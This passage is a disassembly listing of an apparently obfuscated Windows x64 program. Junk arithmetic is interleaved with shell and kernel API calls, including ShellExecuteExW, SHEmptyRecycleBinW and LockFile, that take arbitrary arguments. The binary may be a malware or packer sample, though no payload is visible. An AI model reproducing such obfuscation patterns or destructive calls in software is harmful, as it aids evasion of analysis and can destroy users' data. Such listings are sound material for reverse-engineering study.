lea rcx, str.OCkNCElK4uGYhmSXE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x12d78], rax
mov rax, qword [rsp + 0x12c88]
mov qword [rsp + 0x12d80], rax
jmp 0x1400248ad
mov eax, dword [0x14027d378]
mov ecx, dword [rsp + 0x83c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x93a0], eax
movzx eax, word [rsp + 0x2ac0]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c38], ax
movzx eax, byte [rsp + 0xb5]
movzx ecx, byte [rsp + 0x5aa]
sub eax, ecx
mov byte [0x14027d03b], al
mov rax, qword [rsp + 0x12d18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a6]
add eax, ecx
mov byte [rsp + 0x1c5], al
lea rcx, [rsp + 0x938c]
call qword [sym.imp.SHELL32.dll_ILGetNext]
mov qword [rsp + 0x12d88], rax
mov rax, qword [rsp + 0x12ba8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bdc], ax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x12d48]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x12800]
mov qword [rcx], rax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c24]
or eax, ecx
mov word [rsp + 0x2010], ax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12ae8]
mov qword [rsp + 0x12d90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x12d90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x12968], rax
mov rax, qword [rsp + 0x12d28]
movzx ecx, al
mov rax, qword [rsp + 0x12d50]
shr rax, cl
mov rcx, qword [rsp + 0x12bc8]
mov rdx, qword [rsp + 0x127f8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jb 0x140024a48
mov rax, qword [rsp + 0x12b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x880c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9354], eax
mov eax, dword [rsp + 0x7e34]
mov dword [rsp + 0x93e0], eax
mov eax, dword [rsp + 0x92a4]
mov ecx, dword [rsp + 0x8d74]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9230]
mov edx, dword [rsp + 0x8920]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x1400249dd
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c6c]
sub eax, ecx
mov word [rsp + 0x2c28], ax
movzx eax, byte [rsp + 0x5af]
mov rcx, qword [rsp + 0x12d38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14027d03c], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9378], eax
mov rax, qword [rsp + 0x12bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xf010], rax
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12858]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2720], ax
mov rax, qword [rsp + 0x12bd0]
movzx eax, byte [rax]
cdq
mov ecx, 0xf8
idiv ecx
mov byte [rsp + 0x5ae], al
jmp 0x140024a43
mov rax, qword [rsp + 0x12ba8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c54]
add eax, ecx
movsx ecx, word [rsp + 0x1380]
mov rdx, qword [0x1402c4138]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
jne 0x140024a43
mov rax, qword [0x1402c4118]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x12958]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x12d38]
movzx r8d, byte [rax]
movzx edx, byte [rsp + 0x1c5]
mov ecx, dword [rsp + 0x93bc]
call fcn.140231ac0
jmp 0x140024b1f
lea rdx, [rsp + 0x112b8]
lea rcx, [rsp + 0x2b5f0]
call qword [sym.imp.SHELL32.dll_ILSaveToStream]
mov dword [rsp + 0x938c], eax
mov rax, qword [rsp + 0x12d00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c24]
sar eax, cl
mov word [rsp + 0x2c48], ax
mov rax, qword [rsp + 0x12cf0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9334]
shl eax, cl
mov dword [rsp + 0x928c], eax
mov rax, qword [rsp + 0x129f0]
mov rcx, qword [rsp + 0x12958]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x93d8], eax
mov rax, qword [rsp + 0x12d28]
mov rcx, qword [rsp + 0xefa8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12b18], rax
mov rax, qword [rsp + 0x12bf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12d68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5b0], al
mov rcx, qword [rsp + 0x12d98]
call qword [sym.imp.SHELL32.dll_DragFinish]
mov rax, qword [rsp + 0x12b28]
movzx edx, byte [rax]
movzx ecx, word [rsp + 0x1268]
call fcn.140231a10
mov rax, qword [rsp + 0x12ba8]
movzx eax, word [rax]
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2544]
add eax, ecx
mov word [0x14027d3bc], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5a7]
and eax, ecx
mov byte [rsp + 0x3c1], al
mov rax, qword [rsp + 0x12c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12c60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xff78], rax
mov rax, qword [rsp + 0x12a48]
mov qword [rsp + 0x12da0], rax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9388]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9220], eax
mov rcx, qword [rsp + 0x12880]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x93e4], eax
mov rax, qword [rsp + 0x12ae8]
mov rax, qword [rax]
mov qword [rsp + 0x12da8], rax
mov rax, qword [rsp + 0x12b30]
mov ecx, dword [rsp + 0x880c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c70], eax
mov rcx, qword [rsp + 0x127f0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x934c], eax
lea rdx, [rsp + 0x12db0]
mov rcx, qword [rsp + 0x128d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x93a4], eax
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x127f8]
mov rax, qword [rax]
mov rcx, qword [0x1402c4180]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12b58]
mov rdx, qword [rsp + 0x12bc8]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jae 0x140024d21
mov rax, qword [rsp + 0x12858]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1380]
xor eax, ecx
mov rcx, qword [rsp + 0x12978]
mov word [rcx], ax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5af]
shl eax, cl
mov byte [0x14027d03d], al
mov rax, qword [rsp + 0x129c0]
mov rcx, qword [rsp + 0x12b00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12b68], rax
mov rax, qword [rsp + 0x129a8]
mov rcx, qword [0x14027d370]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x12c18], rax
mov r8d, 0x36
lea rdx, [rsp + 0x12c48]
lea rcx, [rsp + 0x9370]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x9360], eax
movzx eax, word [rsp + 0x2c04]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ac4], ax
mov rax, qword [rsp + 0x12c08]
mov ecx, dword [0x1402c4188]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x928c], eax
mov dword [rsp + 0x20], 0x2261
mov r9d, 0x3d00
mov r8d, 0x26a3
mov edx, 0x293b
mov rcx, qword [rsp + 0x12af0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9308], eax
mov eax, dword [rsp + 0x93c8]
mov dword [rsp + 0x93e8], eax
mov rax, qword [rsp + 0x12d18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x59c]
sub eax, ecx
mov byte [rsp + 0x5a3], al
mov rax, qword [0x1402c4170]
mov rcx, qword [rsp + 0x12aa8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12b58], rax
mov rax, qword [rsp + 0x128a8]
movzx eax, word [rax]
mov word [rsp + 0x2c78], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
movzx eax, byte [rsp + 0x56]
imul eax, eax, 0xab
mov byte [0x14027d03f], al
mov rax, qword [rsp + 0x12ba8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x128a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c34], ax
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x12db8], rax
movzx eax, byte [rsp + 0x1dc]
movzx ecx, byte [rsp + 0x5a5]
sub eax, ecx
mov byte [rsp + 0x47c], al
mov rax, qword [rsp + 0x129a0]
mov rcx, qword [0x1402c4180]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x11f10], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9320]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e34], eax
mov rax, qword [rsp + 0x12b30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92e8], eax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x12db8]
movzx ecx, word [rcx]
mov dword [rsp + 0x93ec], ecx
movzx edx, word [0x14027d39c]
movzx ecx, dl
mov edx, dword [rsp + 0x93ec]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140025014
lea rcx, str.Ouy_k4WE
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c7c], ax
movzx eax, word [rsp + 0x2c58]
mov word [rsp + 0x2c80], ax
movsx eax, word [rsp + 0x2bdc]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x128a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5ae]
mov rcx, qword [rsp + 0x12d70]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c4152], al
lea rax, [0x14027d370]
mov qword [rsp + 0x12dc0], rax
mov rax, qword [rsp + 0x12b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11be0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x11420], rax
mov rax, qword [rsp + 0x12b00]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xff78], rax
lea rdx, [rsp + 0x2d810]
mov rcx, qword [rsp + 0x12a80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x926c], eax
movzx eax, word [rsp + 0x2c28]
mov word [rsp + 0x2c84], ax
movsx eax, byte [rsp + 0x5ad]
mov rcx, qword [rsp + 0x12bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a1], al
mov rax, qword [rsp + 0x129f0]
mov ecx, dword [0x14027d378]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x90ec], eax
mov eax, dword [rsp + 0x9334]
mov ecx, dword [rsp + 0x92d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12bf0]
mov dword [rcx], eax
jmp 0x140025112
mov eax, dword [rsp + 0x91e8]
mov ecx, dword [rsp + 0x93dc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12b30]
mov ecx, dword [rcx]
mov rdx, qword [rsp + 0x12c08]
mov edx, dword [rdx]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x140025112
mov rax, qword [rsp + 0x12bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x92fc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12868]
mov dword [rcx], eax
mov rax, qword [rsp + 0x12bd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x59e], al
mov rax, qword [rsp + 0x12b00]
mov rcx, qword [rax]
call fcn.140231c00
lea r9, [rsp + 0x12cb0]
lea r8, [rsp + 0x12958]
mov edx, 0xa
mov ecx, 0x53
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
movzx eax, word [rsp + 0x2c60]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14027d3b8], ax
movsx eax, word [rsp + 0x1924]
movsx ecx, word [rsp + 0x2800]
sub eax, ecx
mov word [0x1402c4150], ax
mov rax, qword [rsp + 0x129e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ac0], ax
mov rax, qword [rsp + 0x12b28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x595], al
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11420]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10f18], rax
mov rax, qword [rsp + 0x12d00]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x1924]
mov ecx, dword [rsp + 0x9388]
call fcn.1402319d0
lea r8, [rsp + 0x12cf0]
mov rdx, qword [rsp + 0x12cd0]
mov rcx, qword [rsp + 0x282c8]
call qword [sym.imp.SHELL32.dll_ExtractAssociatedIconW]
mov qword [rsp + 0x282d0], rax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x12b10]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x12b38]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7774], eax
mov eax, dword [rsp + 0x91dc]
mov ecx, dword [rsp + 0x9358]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x93a0], eax
mov rax, qword [rsp + 0x12bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x91e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92fc], eax
mov rax, qword [rsp + 0x12ae8]
mov rcx, qword [0x1402c4170]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x112b8], rax
mov rax, qword [rsp + 0x12998]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x129e8]
mov word [rcx], ax
mov dword [rsp + 0x20], 0xa6
lea r9, [rsp + 0x12c40]
mov r8, qword [rsp + 0x12ac8]
mov rdx, qword [rsp + 0x128c0]
mov rcx, qword [rsp + 0x12cd0]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x92ec], eax
jmp 0x14022fc2d
movzx eax, byte [rsp + 0x596]
movzx ecx, byte [rsp + 0x4a]
sub eax, ecx
mov byte [rsp + 0x2d2], al
mov rax, qword [rsp + 0x12928]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c38]
or eax, ecx
mov rcx, qword [rsp + 0x12928]
mov word [rcx], ax
xor r8d, r8d
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x12cb0]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0x282d8], rax
movsx eax, byte [rsp + 0x5a6]
mov rcx, qword [rsp + 0x12bf8]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x5ac], al
mov rax, qword [rsp + 0x12898]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12b00]
mov qword [rsp + 0x282e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x282e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x129a8], rax
mov rax, qword [rsp + 0x129b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x129f0]
mov qword [rsp + 0x282e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x282e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9388], eax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rax]
call fcn.140231c00
mov rax, qword [0x1402c4148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x59d]
add eax, ecx
mov rcx, qword [rsp + 0x12950]
mov byte [rcx], al
lea rcx, [rsp + 0x2b5f0]
call qword [sym.imp.SHELL32.dll_ILFree]
mov rax, qword [rsp + 0x12ba8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2800]
add eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x12958]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x936c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7774], eax
mov rax, qword [rsp + 0x12998]
movzx r8d, word [rax]
movzx edx, word [rsp + 0x2c34]
mov ecx, dword [rsp + 0x93a0]
call fcn.1402319d0
lea rcx, [rsp + 0x2b8e0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov dword [rsp + 0x9208], eax
mov rax, qword [rsp + 0x12868]
mov rcx, qword [rsp + 0x12b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x87d0], eax
mov rax, qword [rsp + 0x12bc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12aa8], rax
mov rax, qword [rsp + 0x12800]
mov rcx, qword [rsp + 0x128c8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12980], rax
movsx eax, word [rsp + 0x2800]
mov rcx, qword [rsp + 0x12ba8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14027d398], ax
lea rax, [rsp + 0x93ac]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x12a68]
lea r8, [rsp + 0x12998]
mov edx, 0x1f
lea rcx, [rsp + 0x129c0]
call qword [sym.imp.SHELL32.dll_PathMakeUniqueName]
mov dword [rsp + 0x922c], eax
mov rax, qword [rsp + 0x12b10]
mov rcx, qword [rsp + 0x12b48]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12890], rax
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x392]
sub eax, ecx
mov byte [rsp + 0x36d], al
mov rax, qword [rsp + 0x12c08]
mov rcx, qword [rsp + 0x12b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12bf0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bf0]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2544], ax
mov edx, 0x25
lea rcx, [rsp + 0x12b38]
call qword [sym.imp.SHELL32.dll_SHGetSettings]
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
mov rcx, qword [0x1402c4128]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14027d37c], ax
movzx eax, word [rsp + 0x2620]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf4], ax
mov rax, qword [rsp + 0x12bd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x596]
add eax, ecx
mov byte [rsp + 0x5a0], al
jmp 0x14022ff80
movsx eax, byte [rsp + 0x5ad]
mov rcx, qword [rsp + 0x129c8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
mov dword [rsp + 0xe710], ecx
movsx edx, byte [rsp + 0x5ac]
movzx ecx, dl
mov edx, dword [rsp + 0xe710]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x14022ff80
mov rax, qword [rsp + 0x12bc8]
mov rcx, qword [rsp + 0x12b18]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x12b48], rax
movzx eax, byte [rsp + 0x599]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x595], al
mov rax, qword [0x1402c4138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x141c]
and eax, ecx
mov word [0x14027d37c], ax
movzx eax, word [rsp + 0x2bd8]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1268], ax
movzx eax, byte [rsp + 0x5a7]
movzx ecx, byte [rsp + 0x18c]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0x12950]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov rax, qword [rsp + 0x129b0]
mov r9d, dword [rax]
movzx r8d, byte [rsp + 0x5ae]
movzx edx, byte [rsp + 0x59f]
mov ecx, dword [rsp + 0x8d74]
call fcn.140231ac0
lea rcx, [rsp + 0x12b10]
call qword [sym.imp.SHELL32.dll_SHSetInstanceExplorer]
movsx eax, word [rsp + 0x18cc]
movsx ecx, word [rsp + 0x2c34]
and eax, ecx
mov word [rsp + 0x141c], ax
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x12928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x129f0]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8d74], eax
mov eax, dword [rsp + 0x9064]
mov ecx, dword [rsp + 0x9334]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12bf0]
mov dword [rcx], eax
lea rcx, [rsp + 0x2b5f0]
call qword [sym.imp.SHELL32.dll_SHBrowseForFolderW]
mov qword [rsp + 0x282f0], rax
jmp 0x140230117
movsx eax, byte [rsp + 0x36d]
movsx ecx, byte [0x1402c418c]
sar eax, cl
mov rcx, qword [rsp + 0x12bf8]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x5ad]
or ecx, edx
cmp eax, ecx
jge 0x140230117
movzx eax, byte [rsp + 0x596]
mov rcx, qword [0x1402c4148]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a9], al
mov rax, qword [rsp + 0x129b0]
mov rcx, qword [rsp + 0x12958]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x129f0]
mov dword [rcx], eax
lea rcx, [rsp + 0x12b40]
call qword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [rsp + 0x93ac], eax
mov rax, qword [rsp + 0x127f8]
mov rcx, qword [rsp + 0x127d8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x129a0], rax
mov rax, qword [rsp + 0x12bf0]
mov rcx, qword [rsp + 0x12c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x928c], eax
movzx eax, word [rsp + 0x2be4]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x12ba8]
movzx r9d, word [rax]
mov r8, qword [rsp + 0x12810]
movzx edx, word [rsp + 0x2bc4]
movzx ecx, word [0x1402c4150]
call fcn.140231910
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [0x1402c4158]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c20], ax
movzx eax, byte [rsp + 0xb5]
mov rcx, qword [rsp + 0x12950]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14027d03c], al
movzx eax, word [rsp + 0x2bf4]
mov rcx, qword [rsp + 0x12a08]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bf0], ax
mov rax, qword [rsp + 0x12898]
mov rcx, qword [rsp + 0x12760]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12b68], rax
mov rax, qword [rsp + 0x129c0]
mov rcx, qword [rsp + 0x12800]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x12b20], rax
movzx eax, word [rsp + 0x2c18]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2be8], ax
movzx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x12a30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x59a], al
mov rax, qword [rsp + 0x12bc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12930]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x12b00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x11420]
mov rcx, qword [0x1402c4168]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x12930], rax
mov edx, reloc.SHELL32.dll_SHUpdateImageW
mov rcx, qword [rsp + 0x12c58]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x9334], eax
mov eax, dword [rsp + 0x9334]
mov ecx, dword [rsp + 0x9354]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x92d4], eax
mov rax, qword [rsp + 0x129f0]
mov rcx, qword [rsp + 0x129b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7774], eax
mov rax, qword [rsp + 0x12b10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x127f8]
mov qword [rsp + 0x282f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x282f8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x12bb0], rax
movzx eax, word [rsp + 0x2620]
movzx ecx, word [rsp + 0x2bf4]
sar eax, cl
mov word [rsp + 0x2bd8], ax
movzx eax, byte [rsp + 0x5a4]
movzx ecx, byte [rsp + 0x4a]
or eax, ecx
mov byte [0x1402c4152], al
mov r8d, 0xb6
mov rdx, qword [rsp + 0x12878]
mov rcx, qword [rsp + 0x12cb0]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov dword [rsp + 0x9370], eax
movsx eax, byte [rsp + 0x5a1]
mov rcx, qword [rsp + 0x12b60]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x59c], al
mov rax, qword [rsp + 0x12978]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2be0]
and eax, ecx
mov rcx, qword [rsp + 0x12978]
mov word [rcx], ax
mov rax, qword [rsp + 0x129f0]
mov rcx, qword [rsp + 0x12b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x92a4], eax
mov rax, qword [rsp + 0x12868]
mov rcx, qword [rsp + 0x12b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x92fc], eax
mov rax, qword [rsp + 0x128a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x12978]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x29dc], ax
mov rax, qword [rsp + 0x12a30]
movzx eax, byte [rax]
mov rcx, qword [0x1402c4148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c4160], al
mov rax, qword [rsp + 0x129c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a3]
sub eax, ecx
mov byte [rsp + 0x392], al
mov rax, qword [rsp + 0x12a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x129e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2bf8], ax
mov rax, qword [rsp + 0x12800]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12898]
mov qword [rsp + 0x28300], rcx
movzx ecx, al
mov rax, qword [rsp + 0x28300]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x12930], rax
mov rax, qword [rsp + 0x129f8]
mov rcx, qword [rsp + 0x129c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x12b20], rax
mov rax, qword [rsp + 0x12b10]
